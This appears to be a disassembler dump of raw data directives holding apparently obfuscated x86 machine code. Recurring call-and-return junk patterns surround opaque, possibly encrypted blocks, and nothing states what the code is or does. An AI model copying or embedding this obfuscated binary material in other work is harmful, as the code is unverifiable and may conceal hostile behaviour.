		dd 0D38007C0h, 12E88Bh,	8AEC0000h, 0C500B961h, 8426E09Eh
		dd 0D0F20DCDh, 16EC3974h, 1F098D29h, 835B0603h,	9D8B00C0h
		dd 6033041h, 830FD03Bh,	0Ah, 54E9h, 1CEEBF00h, 8D8B2981h
		dd 60325CDh, 0E183B1B3h, 3E840F01h, 0E9000000h,	9, 0BF443131h
		dd 30FB370Ch, 0CDA583D9h, 0FE060325h, 58C0Fh, 81660000h
		dd 0E9BC74C7h, 8, 55A28302h, 99583B8Dh,	1C1D9589h, 8D090603h
		dd 60317ADh, 0E9h, 48B58D00h, 6A0606F0h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 42B8C356h
		dd 0BCBF8B51h, 13EA4AAh, 3177185h, 81006A06h, 0A801DFF7h
		dd 0B995FF6Eh, 2B06031Fh, 326619Dh, 49952906h, 0B9060304h
		dd 7D1h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	3FC35242h, 0B086FAFCh, 0ACB9852Ch, 7E8h, 69FAA100h
		dd 356A3494h, 0CE9h, 5C350600h,	8970DA4Ah, 0FF3BDA17h
		dd 0E1835FD5h, 53006AFCh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0F50D4ECBh, 0A545ABCBh
		dd 0AE875h, 0F74E0000h,	471274B3h, 1AC5F48Bh, 10E8h, 4FC81E00h
		dd 97AD6AFCh, 2DB35EAFh, 0E1931E14h, 8B0F32h, 5F000000h
		dd 11E9FC5Bh, 6A000000h, 89988A8Dh, 9058CC8Fh, 0C2C694F3h
		dd 0CE6B4D2Dh, 2D159D8Bh, 0B80603h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 7994C355h, 83899E5h,	52BF7EEFh, 11E9h, 1AA2000h, 6146023Ch
		dd 2DDBF59Dh, 0C6E4244Ch, 2B5BB112h, 55006AD2h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 48C9461h, 3547AC11h
		dd 9D8BE1E3h, 6032651h,	0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6AC35545h
		dd 20D698B1h, 0BF665634h, 0FBBFCF43h, 0D0BA947h, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h, 0E88C11E4h
		dd 11h,	330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h, 0BF6650E1h
		dd 5F5B67BDh, 0D1958BF8h, 60060331h, 4E8CE881h,	0B58B3B90h
		dd 6030B25h, 0E18D8B61h, 9060301h, 32101BDh, 10E806h, 2DE00000h
		dd 0B75D83F3h, 0F81B4893h, 62702DF7h, 0BF66E80Ch, 505F1A70h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0C261A569h, 4E5BD8Bh, 6A0603h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 6CCAC8C3h, 780AF2EFh
		dd 65BD837Ah, 6031Dh, 70840Fh, 0BF660000h, 0B86416h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0B328C352h, 0D9BA99B7h, 0A9B529F8h, 8D06031Ah
		dd 34D1C8Dh, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0B2D70B17h, 53089CFAh, 605BFE8Bh
		dd 0AC4542BEh, 97BF660Bh, 0E1FF61FBh, 0CA9B589h, 0BD830603h
		dd 60321BDh, 0C840F00h,	9000004h, 322E98Dh, 0BDBD8306h
		dd 1060321h, 414840Fh, 14E90000h, 48000000h, 88ED4D27h
		dd 61E9CFDDh, 0AB2903DEh, 98489A33h, 83B964B7h,	321BDBDh
		dd 860F0306h, 3B8h, 0CE9h, 0DCCEEB00h, 0DD1C1EA7h, 0DD0846FBh
		dd 6A604Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0EED8B1C3h, 0EAE3A87Eh, 8C66CA39h, 4E180D9h
		dd 99BD8B60h, 0E9060305h, 13h, 0B87382D5h, 6827BD04h, 0FAC6FCCBh
		dd 0B01AF848h, 61D4A2D0h, 840FC90Ah, 10Fh, 8BFFBF0Fh, 313C185h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0AF8EE42Ch, 2BDFE50Fh, 890FE88Bh, 14h, 8E8h
		dd 33A4B800h, 0BD73A3Dh, 860F17h, 5F000000h, 1C798533h
		dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 8A2A28C3h, 0D02926DFh, 0D0BF5605h, 5F4401D2h
		dd 8929B750h, 6A2404h, 5820Fh, 81660000h, 0F9E4C5CFh, 0DCDA0668h
		dd 0B352509Dh, 0E8310F82h, 0Ch,	0F9D8F285h, 2DD9C992h
		dd 839FFCD2h, 310F5250h, 5A5B585Ah, 24048158h, 624229F9h
		dd 13800Fh, 7E80000h, 0A8000000h, 1894DDF7h, 0B5896D31h
		dd 6031E61h, 595FF5Fh, 0B7060314h, 3485892Fh, 660606A7h
		dd 0F3E9DE8Bh, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0A0AC350h, 0A4D1C360h
		dd 0D19D89FAh, 8B06031Fh, 6A72C85h, 0B1BD8B06h,	0C706030Fh
		dd 1800h, 11BD2900h, 8B06031Dh,	301C5BDh, 30B58B06h, 6A0606A7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0E9E5C357h, 0B0D2991Fh, 2A719D03h, 858B0603h
		dd 603128Dh, 13999501h,	6890603h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 89C35646h, 9228A9EFh, 0EC3681C2h
		dd 13C1858Bh, 0CDBB0603h, 8905A7CDh, 6A0446h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0FC7718C3h
		dd 0F1F9C9F2h, 50508856h, 2434895Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 19C35646h, 0B8B0Fh,	6E90000h
		dd 0B5000000h, 39D1DE7Fh, 2CB5FF67h, 6A0606A7h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0D495C351h, 4E9BD0Bh, 71680603h, 815DAE1Eh, 1D8E2434h
		dd 6A5DB1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0C0D843C3h, 815B0824h, 860FAF8Dh,	3, 8DF98B66h
		dd 6A73485h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0B8CBC42Bh, 0FE144D2Ch, 1B29BF44h
		dd 0B70F016Ch, 8A0F50FFh, 0
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0A5DEC351h, 71F3710h, 3350F0A9h
		dd 10E9h, 0D0793900h, 47346F75h, 72238D4Dh, 0B2883C67h
		dd 595FFF5h, 89060314h,	30ACD95h, 7C6CBF06h, 6A6173D7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 1BFEC355h, 8D890106h, 6031C19h, 21BD85C7h
		dd 30603h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0FE8C2C3h, 4C000000h, 0CD1320CBh
		dd 5848DA32h, 0C4D8B71Ch, 5BF5B026h, 0A734BD83h, 0F000606h
		dd 0B84h, 21E900h, 0B5010000h, 6032AE9h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 952BC355h, 4CE56A84h, 0B501AB1Ch, 6031F21h, 21BDBD83h
		dd 0F030603h, 47985h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0B2B7A607h, 6984021Ah
		dd 5E98Eh, 0AB950000h, 0FC6C35Fh, 0BD83DFB7h, 606A734h
		dd 3B840F00h, 0BB000004h, 5E0F0587h, 0A734B5FFh, 6A0606h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F574BCC3h, 0E78B982Ch, 8589BDACh, 6031291h,	95FFDE8Bh
		dd 6032E05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	20C35545h, 1799BD8Bh, 0AE90603h, 0E1000000h, 22C9ADBCh
		dd 0CA225F04h, 28B58BFEh, 600606A7h, 8BCFB70Fh,	328CDB5h
		dd 6C76106h, 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 6FC35242h, 0E8590DEAh, 14h, 1D4EDB00h
		dd 0EE3279BBh, 21C810D0h, 95CFB9A6h, 0A53405B0h, 0DD8F71BBh
		dd 66515B0Eh, 505BF88Bh, 8E78BB66h, 80243489h, 0B5FFECDFh
		dd 606A734h, 2C85BD31h,	95FF0603h, 6032F19h, 1E499D89h
		dd 0B58B0603h, 606A728h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 9AC35343h, 3B3B4FAh, 39D380ACh, 311D858Bh
		dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B685E3C3h, 9BD891Fh, 89060326h, 0C486h
		dd 13E800h, 9030000h, 0D2A678E6h, 378EDC67h, 3B6628BDh
		dd 0F6BA74FBh, 7D8D890Dh, 5B060320h, 31D1958Bh,	6A0603h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E8DC56C3h, 12h, 0AA234591h,	0A434282h, 194F0BAFh, 326960F0h
		dd 810FDAFEh, 6, 2041B501h, 835B0603h, 6A04C2h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0C09EA5C3h, 58F021AAh, 89B1EB80h, 9D032050h,	60317ADh
		dd 0BBF3858Dh, 9D8B0606h, 6030945h, 0B88689h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 90BA66C3h, 7D9D8BE5h, 6A060302h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0B9FB2EA5h
		dd 7036FD0Ah, 7E955h, 12830000h, 0D7E63EACh, 0EE927h, 83830000h
		dd 556A42Dh, 61B3D25Ah,	0A3752C80h, 0A734B5FFh,	9D8B0606h
		dd 6032949h, 0FFDE8B66h, 31CB195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 5144FBEBh
		dd 0FAEF8166h, 60965B52h, 880FC28Bh, 12h, 0DE9h, 8847C900h
		dd 35627B57h, 8F2A6710h, 5061B367h, 168A0Fh, 11E90000h
		dd 7D000000h, 4CF82A46h, 0E82B4E01h, 0AC69E27Eh, 0BEC1CFFh
		dd 0FA8B6696h, 0A734B5FFh, 95890606h, 6032851h,	116595FFh
		dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 858903C3h, 6032BF5h, 83DBBF0Fh, 31795BDh
		dd 840F0006h, 44h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0CEC35646h, 56A81B18h, 502DE421h, 12E9h
		dd 0FA3D7300h, 0BF29CF1Dh, 5FBA6FDBh, 6F1B2D58h, 894A787Ah
		dd 0BD892434h, 6031F75h, 0A734B5FFh, 0FFF90606h, 3066195h
		dd 0EE906h, 52550000h, 6FF7AA06h, 8C9E3926h, 9575616h
		dd 34B5FFF8h, 660606A7h, 66CDA7BFh, 95FFD98Bh, 6030AE1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 74C35646h
		dd 92E5B83Ah, 8E9601Dh,	41000000h, 4163238Ch, 503640DCh
		dd 8B0Fh, 615F0000h, 218DBD83h,	0F020603h, 5584h, 0FD858B00h
		dd 6A060301h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 94C8C350h, 0D88D2005h,	6A0000C6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 6FFEC351h, 0C541CA27h, 3C8501C5h,	2359B589h
		dd 85C70603h, 60330B9h,	0
		dd 27AFDF81h, 0BF663430h, 8AE91701h, 8BFFFFF2h,	31461BDh
		dd 68C0F06h, 33000000h,	325599Dh, 6AC18B06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0C137C350h, 11858DF9h, 6A060328h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 90A4C352h
		dd 10E85250h, 74000000h, 3AC2F56Ah, 327AE946h, 3C4C85D1h
		dd 0FD9F4BFh, 85h, 310F5F00h, 9050585Ah, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0D6C35242h, 9E551DD8h
		dd 9D31E230h, 6033195h,	6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0DA0BDCC3h, 35DB9D57h
		dd 2EF19D29h, 6A0603h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0FEC35747h, 596A70A5h, 0AF24355Eh, 698D89C5h
		dd 1060331h, 310618Dh, 0F0858D06h, 66060788h, 0E329CF81h
		dd 6005C083h, 8B4AF480h, 31E8D9Dh, 0E9906106h, 5, 0C29D5CB6h
		dd 616050D2h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0A342A2FEh, 81A28AAFh, 0E4511DCBh
		dd 6A006A23h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0A840C351h, 3DB589C5h,	81060326h
		dd 0B01CDDF7h, 6A006A63h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 64EC357h, 0C995FF9Eh
		dd 8B06030Ch, 718531D9h, 8D06031Eh, 697478Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FFA0F775h, 50006AD1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 9E899h, 0F98A0000h, 52DD3D7Ch
		dd 0FA0F85Eh, 1985h, 13E800h, 5460000h,	0BB3F27CAh, 9F2AD753h
		dd 4B155321h, 0E05A83BAh, 835B5FC2h, 31E91BDh, 850F0106h
		dd 0A8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0E1C35343h, 60026A60h, 9E8h, 3A683000h,	4A5E5454h
		dd 7E94D14h, 6F000000h,	54CF723Bh, 6658576Bh, 61FE1FB9h
		dd 13E85090h, 4F000000h, 9815CE42h, 6A242AFAh, 67D72605h
		dd 0B2C23DCBh, 905FD137h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 65C35040h, 0B195FF04h, 6A06031Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 96ACC350h, 0A6953D84h, 0BB967AD5h, 5E40E482h, 0E61E9h
		dd 0E800h, 815D0000h, 788FAEDh,	0D3816606h, 6A03D0h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0F95BA0C3h, 0A19589C3h, 0FC06032Dh, 8889858Dh, 6A0606h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0A43E7AC3h, 820F9069h, 3, 50FA8B66h,	6A90FE8Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0AB89C356h, 0BBA24753h, 211BA072h, 11E9h, 0FBCF7F00h
		dd 0E6E65F68h, 8ABBF8CFh, 0B4037BE6h, 0FF643ADAh, 35h
		dd 1DBD8900h, 64060301h, 2589h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DBF903C3h
		dd 35D0B911h, 1E51B589h, 85FF0603h, 6032A15h, 0FF6AFB8Bh
		dd 222DBD8Bh, 0B5FF0603h, 603235Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 83C35040h, 9C0B6EEDh, 8BF47F6Bh
		dd 1595FFFEh, 0E9060320h, 113h,	0BD8D0160h, 0E9060313h
		dd 13h,	0F83851Eh, 8DCB9769h, 5DCE9A61h, 33F7CE14h, 61BFEBA6h
		dd 70E600B0h, 26B8C781h, 71E47051h, 2B199D8Bh, 613C0603h
		dd 0D9830Fh, 39BF0000h,	0F222C43h, 10BBC8B6h, 0BA2A2C9Ah
		dd 6, 3215BD8Bh, 0C18B0603h, 14E9h, 88535E00h, 98D58CF3h
		dd 336552BAh, 910B89ACh, 1C1A4C3Bh, 4E8C1F9h, 42B298BFh
		dd 0E2F76638h, 6E9h, 7310E100h,	2B3067C6h, 15B589C8h, 8B06032Dh
		dd 65BD89D1h, 0E9060313h, 6, 2BC99D23h,	858B0603h, 60321E1h
		dd 18E0F60h, 0F9000000h, 6165C280h, 8B07C083h, 319C9BDh
		dd 0C08306h, 3BDFBF0Fh,	21830FD0h, 0E8000000h, 8, 0D62682E6h
		dd 91082AB6h, 0DBBFF381h, 0E95B7F9Fh, 33h, 850Fh, 5B520000h
		dd 12F18D8Bh, 81660603h, 83DB11F3h, 840F01E1h, 17h, 0A583FE8Bh
		dd 60312F1h, 8924B3FEh,	321E195h, 0E9FC06h, 8D000000h
		dd 6FA3AB5h, 0EE906h, 0EA8E0000h, 0FEAB0E26h, 2DDD8611h
		dd 42A7600Eh, 0B70F006Ah, 0B995FFDBh, 6A06031Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 7ECEC357h, 8389B488h, 0BE919F3h, 16000000h, 9ECE5DD8h
		dd 0BF75A0BBh, 73B985B7h, 89000007h, 31A4995h, 0FCE18306h
		dd 10E9h, 76CC2D00h, 8C05F869h,	33970127h, 8EC57046h, 421ABFBEh
		dd 2BFC5561h, 3058DBDh,	6AC02B06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BD0C356h
		dd 32CB99Dh, 0BA06h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 13B3C4C3h, 8BBE4316h
		dd 325259Dh, 1D9D3306h,	0AD060303h, 0E8D1C233h,	0E983D003h
		dd 6AF47504h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0FA4AC351h, 88FFB8C4h,	68E0FFFh
		dd 89000000h, 3299D95h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0FF87481h, 380h, 0F88B6600h
		dd 880Dh, 68A0F00h, 89000000h, 309F58Dh, 0D1958B06h, 0F060331h
		dd 689h, 0D59D8B00h, 8B06032Bh,	301E18Dh, 12E806h, 68E0000h
		dd 0CBE61ADEh, 0DEDFF242h, 0D2B47B31h, 1A2B305Dh, 3318D29h
		dd 505F0603h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 15BD2B58h, 8306031Bh, 31D65BDh, 840F0006h, 7Dh, 0B838B3h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 7D75C355h, 6CD1BBF5h, 926FA9Ch
		dd 31EADBDh, 0E9605206h, 12h, 0B51C7619h, 1DF288FCh, 2C3F0237h
		dd 91C555AAh, 5B610CADh, 4D1C8D8Dh, 6A0603h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0BCF7B1C3h
		dd 5DB3606Bh, 0A95958Bh, 0FF610603h, 0BDBD83E1h, 60321h
		dd 50F840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 57EFB7C3h, 618589D8h, 83060326h
		dd 321BDBDh, 840F0106h,	4F8h, 2B9BD8Bh,	0BD830603h, 60321BDh
		dd 0AF860F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0B3A7C356h,	0D0225D24h
		dd 22B19D31h, 0BD030603h, 6032C89h, 50006A60h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0E55E098Bh
		dd 8998B338h, 328BDB5h,	0D98C6606h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h
		dd 1Dh,	0AFC35040h, 0FDE9A3E4h,	33A4B813h, 0C780563Dh
		dd 0E1805F6Eh, 0D1BD8B04h, 8B060323h, 323899Dh,	0FC90A06h
		dd 18384h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0C1858BB3h, 6A060313h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0F39C355h, 152F0BCFh, 0C19834Fh, 0E8D98B66h,	13h, 86EC89E7h
		dd 10B81F42h, 7CC1F0A0h, 0F5561425h, 66051CE6h,	0FBFDC781h
		dd 7985335Fh, 6A06031Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 1108C353h, 3B5CD4E8h
		dd 28A0F69h, 8B000000h,	12E950F8h, 0B5000000h, 0E60B48A3h
		dd 1F55A4DAh, 643A9855h, 0F30FADD2h, 24048965h,	5BDA8B52h
		dd 8D0F006Ah, 6, 22719501h, 4E80603h, 0FF000000h, 50001F03h
		dd 0F5B5652h, 3870F31h,	66000000h, 585AF98Bh, 0E9566050h
		dd 11h,	896A0058h, 0AC3E32A9h, 0A425CCEAh, 82F747CEh, 52505A4Dh
		dd 4F20B866h, 0CE9310Fh, 0AF000000h, 94617F7Eh,	0AC11048Ch
		dd 5AE33547h, 448B6158h, 8B0424h, 9E8h,	46F8D400h, 6C45C03Fh
		dd 8B6692B0h, 44895FDAh, 860F0424h, 4, 8519BB66h, 0CF816658h
		dd 95FF689Fh, 6031405h,	1AE59D8Bh, 0BD010603h, 6031B79h
		dd 0A7348589h, 8B660606h, 207E9FBh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 31367CC3h
		dd 0BD6D8343h, 0A72C858Bh, 6A0606h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 72F59AC3h
		dd 1800C7h, 0BD8B0000h,	603132Dh, 28F9B589h, 0B58B0603h
		dd 606A730h, 1FA59D8Bh,	858B0603h, 603128Dh, 689F88Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 48C35242h
		dd 0FDAE60Bh, 858BFBBFh, 60313C1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0D0C35040h,	0EBBDE01Bh, 89FB1E6Ch
		dd 33271B5h, 8980B706h,	6A0446h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0B208E5C3h, 0EE8h, 0FA022800h
		dd 31EA0B4Ch, 9DBFDB2Fh, 0F09F3F3h, 8B5BF9B7h, 301F9BDh
		dd 52509606h, 61BB6650h, 310F5F8Fh, 7E8h, 10D0EE00h, 0B9A621C8h
		dd 8D0Fh, 5A5F0000h, 0BE95058h,	0D4000000h, 8DF82122h
		dd 0FF240520h, 6A96FD44h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 2140C350h, 0CF807F2Eh
		dd 148B0FBCh, 60000000h, 0AE9h,	4BB1CF00h, 25EDD846h, 8020703Bh
		dd 0FF61BBDDh, 6A72CB5h, 6E906h, 7B070000h, 332C16B2h
		dd 67E74C68h, 12E8ECh, 0F5160000h, 0D97C35A6h, 6C47ADDAh
		dd 0D33BBEBAh, 2460D564h, 815F49B7h, 1CB32404h,	0C7BB13B7h
		dd 8D6C6707h, 6A73485h,	0FE906h, 3A960000h, 0EAEDE7F2h
		dd 3BB5D503h, 0C3B4CA60h, 0CCBF90C5h, 5077F846h, 6A90FB8Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 59DEC353h, 0BF0F50AAh, 595FFFBh, 0F060314h
		dd 0C81h, 68D0F00h, 81000000h, 0F56F4EBh, 6A6177h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0BFE04DC3h, 17719D8Bh, 6E80603h, 0E6000000h,	2D5BA420h
		dd 0F8BF0FCCh, 0BD85C75Fh, 3060321h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0E92BC351h, 60C89915h, 0F00BA291h, 0BF66F98Bh, 0BD834165h
		dd 606A734h, 37840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0D2ACC357h
		dd 0E1C38005h, 2519B589h, 26E90603h, 60000000h,	1DFB70Fh
		dd 302AD95h, 30506106h,	4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0DDBD33C0h, 8B060321h,	31A3D9Dh
		dd 5E906h, 1DB20000h, 83486B77h, 321BDBDh, 850F0306h, 45Fh
		dd 0E856006Ah, 3, 5EC35E20h
		db 89h,	74h
word_584F4E	dw 424h			; DATA XREF: ___:00436EFCo
		dd 4244481h, 19h, 84C35646h, 0F7F9E7CEh, 7E8F4h, 74290000h
		dd 0B8FE20C0h, 15BD2969h, 5B06031Bh, 0A734BD83h, 0F000606h
		dd 41E84h, 79BD8900h, 0FF060330h, 6A734B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 54B357B0h, 0DF80442Fh, 0DF8B66A0h, 2E0595FFh, 6A0603h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0B50155C3h, 2A6AA34Fh, 0B58B5034h, 606A728h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 34C35242h, 238D4D47h
		dd 0E5BD3172h, 0C7060301h, 1000106h, 5E900h, 1DED0000h
		dd 50DE7298h, 89F98B66h, 6A2434h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 19C9D2C3h, 0E3B2D69Ah
		dd 0BD299DF4h, 603034Dh, 0A734B5FFh, 810F0606h,	15h, 9E8h
		dd 77B5A00h, 7B378C75h,	8D89DB02h, 6030FC1h, 1995FF5Fh
		dd 6A06032Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 8517C351h, 0BFF98B72h,	735DAE1Eh
		dd 0A728B58Bh, 5B500606h, 311D858Bh, 9D010603h,	6031FB5h
		dd 0C48689h, 8D890000h,	6030FE5h, 31D1958Bh, 870F0603h
		dd 3, 81D98B66h, 990B72DBh, 4C28313h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 46C35040h, 8B90C682h, 32A459Dh
		dd 20508906h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 16h,	26C35747h, 0CDB38FE6h, 0BBF3858Dh, 11E90606h, 90000000h
		dd 0BFCC8477h, 0CFD53D44h, 7D52E271h, 5987417Ch, 0B88689h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 998FFCC3h, 0BD8B9B62h, 6030AB5h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0DA8B10C3h, 0A734B5FFh, 870F0606h, 6, 259BD8Bh, 95FF0603h
		dd 6031CB1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	20C35343h, 0E24A9477h, 0DE9507Dh, 2E000000h, 0B9BE4840h
		dd 0A558E777h, 5E098BEAh, 6A243489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D6C8C355h
		dd 6AE328D0h, 12F59531h, 0B5FF0603h, 606A734h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6DC35545h, 0E9BD893Dh
		dd 8B060324h, 6595FFF9h, 6A060311h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 16E4C350h
		dd 23602ADEh, 0B7107AD7h, 95BD83EAh, 60317h, 63840Fh, 6A0000h
